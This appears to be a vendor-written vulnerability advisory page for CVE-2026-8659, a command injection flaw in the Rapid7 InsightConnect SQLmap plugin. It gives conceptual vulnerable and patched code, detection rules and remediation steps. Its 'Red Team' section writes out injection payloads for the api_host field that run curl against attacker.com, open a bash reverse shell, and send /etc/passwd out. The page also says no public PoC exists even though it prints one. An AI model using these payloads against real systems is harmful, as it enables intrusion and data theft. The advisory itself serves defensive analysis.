☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Rapid7 logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-8659

CVE-2026-8659 OS Command Injection in Rapid7
📅 PUBLISHED: 2026-06-25 00:17 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.29%
👁️
1.29% probability
32.3× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-8659 is an OS Command Injection vulnerability in the Rapid7 InsightConnect SQLmap Plugin on Linux systems. The flaw allows authenticated attackers to execute arbitrary OS commands via the api_host or api_port parameters during connection configuration due to insufficient input validation. With a CVSS score of 6.0 (Medium), this vulnerability requires authenticated access but can lead to full system compromise. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available. The vulnerability is specific to the Linux deployment of the plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Rapid7 InsightConnect plugin (SQLmap Plugin) distributed through the Rapid7 ecosystem. Organizations should verify the integrity of their InsightConnect installation and monitor for official updates from Rapid7.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.0 (Medium)
  • Attack Vector: Local (AV:L) – Requires authenticated access to the InsightConnect instance.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: High (PR:H) – Attacker must have valid credentials.
  • User Interaction: None (UI:N) – No user action needed.
  • Scope: Unchanged (S:U) – Vulnerability does not cross trust boundaries.
  • Confidentiality Impact: High (C:H) – Full read access to system files.
  • Integrity Impact: High (I:H) – Arbitrary command execution.
  • Availability Impact: High (A:H) – Potential for denial of service.

Threat Level: Medium. While the CVSS score is moderate, the potential for full system compromise and the lack of a patch elevate the risk for organizations using the affected plugin.

Deep Dive & Mechanics

The vulnerability resides in the SQLmap Plugin's connection configuration logic. When an authenticated user configures a new connection, the plugin accepts api_host and api_port parameters. These parameters are used to construct a command that is passed to the underlying operating system shell. Due to insufficient input validation, an attacker can inject arbitrary OS commands by embedding shell metacharacters (e.g., ;, |, &&, `) into these parameters.

Attack Flow:

  1. Attacker authenticates to the InsightConnect instance.
  2. Attacker navigates to the SQLmap Plugin configuration.
  3. Attacker sets api_host to a malicious value such as 127.0.0.1; id.
  4. The plugin constructs a command like sqlmap --api-host 127.0.0.1; id --api-port 8080.
  5. The shell executes the injected id command, returning output to the attacker.

The vulnerability is specific to Linux due to differences in shell handling and command construction. Windows deployments are not affected.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import subprocess

def configure_connection(api_host, api_port):
    command = f"sqlmap --api-host {api_host} --api-port {api_port}"
    subprocess.run(command, shell=True)

Patched Code (Conceptual):

import subprocess
import shlex

def configure_connection(api_host, api_port):
    # Validate and sanitize inputs
    if not is_valid_host(api_host) or not is_valid_port(api_port):
        raise ValueError("Invalid input")
    command = ["sqlmap", "--api-host", api_host, "--api-port", api_port]
    subprocess.run(command, shell=False)

The patched version uses a list of arguments and shell=False to prevent command injection, and adds input validation.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Valid credentials for an InsightConnect instance with the SQLmap Plugin installed.
  • Network access to the InsightConnect web interface.

Exploitation Steps:

  1. Log in to InsightConnect.
  2. Navigate to the SQLmap Plugin configuration.
  3. Set api_host to: 127.0.0.1; curl http://attacker.com/$(whoami)
  4. Set api_port to: 8080
  5. Save the configuration. The plugin will execute the injected command.
  6. Monitor your attacker-controlled server for the callback.

Example Payloads:

  • Reverse shell: 127.0.0.1; bash -i >& /dev/tcp/attacker.com/4444 0>&1
  • Data exfiltration: 127.0.0.1; cat /etc/passwd | base64 | curl -d @- http://attacker.com/exfil

Blue Team

Detection:

  • Monitor InsightConnect logs for unusual api_host or api_port values containing shell metacharacters.
  • Look for unexpected outbound connections from the InsightConnect server.
  • Audit user activity for configuration changes to the SQLmap Plugin.

Hunting:

  • Search logs for patterns like ;, |, &&, ` in the api_host or api_port fields.
  • Check for processes spawned by the InsightConnect service that are not typical (e.g., curl, bash, nc).

Indicators of Compromise (IOCs)

  • Network:
    • Outbound connections to unknown IPs on ports 80, 443, or 4444.
    • DNS queries to suspicious domains.
  • Host:
    • Unexpected processes: curl, wget, bash, nc, python spawned by the InsightConnect service.
    • Modified configuration files for the SQLmap Plugin.
    • New cron jobs or systemd services.
  • Logs:
    • InsightConnect audit logs showing api_host or api_port values containing shell metacharacters.
    • System logs (e.g., /var/log/syslog) showing command execution from the InsightConnect user.

Detection Engineering

YARA Rule

rule CVE_2026_8659_InsightConnect_SQLmap_Injection {
    meta:
        description = "Detects OS command injection attempts in Rapid7 InsightConnect SQLmap Plugin"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-8659"
    strings:
        $metachar1 = /[;&|`$(){}]/
        $metachar2 = /(\|\||&&)/
        $sqlmap_ref = "sqlmap"
        $api_host = "api_host"
        $api_port = "api_port"
    condition:
        all of ($sqlmap_ref, $api_host, $api_port) and any of ($metachar1, $metachar2)
}

Sigma Rule

title: CVE-2026-8659 - OS Command Injection in Rapid7 InsightConnect SQLmap Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts via api_host or api_port parameters
author: Valters IT
date: 2026/01/01
logsource:
    product: rapid7
    service: insightconnect
detection:
    selection:
        EventID: 4688  # Process creation
        CommandLine|contains:
            - 'sqlmap'
            - 'api_host'
            - 'api_port'
        CommandLine|re: '([;&|`$(){}]|(\|\||&&))'
    condition: selection
falsepositives:
    - Legitimate use of special characters in hostnames (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-8659 - Rapid7 InsightConnect SQLmap Plugin Command Injection"; flow:to_server,established; content:"api_host"; nocase; content:"api_port"; nocase; pcre:"/([;&|`$(){}]|(\|\||&&))/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the SQLmap Plugin if not essential.
  2. Restrict access to the InsightConnect web interface to trusted IPs only.
  3. Implement strict input validation for all plugin configuration parameters.

Long-term Fix:

  • Apply the official patch from Rapid7 once released.
  • Upgrade to a patched version of InsightConnect.

Workarounds:

  • Use a web application firewall (WAF) to filter malicious payloads.
  • Monitor and audit all configuration changes to the SQLmap Plugin.

Valters IT – Securing your digital frontier.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-8659/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.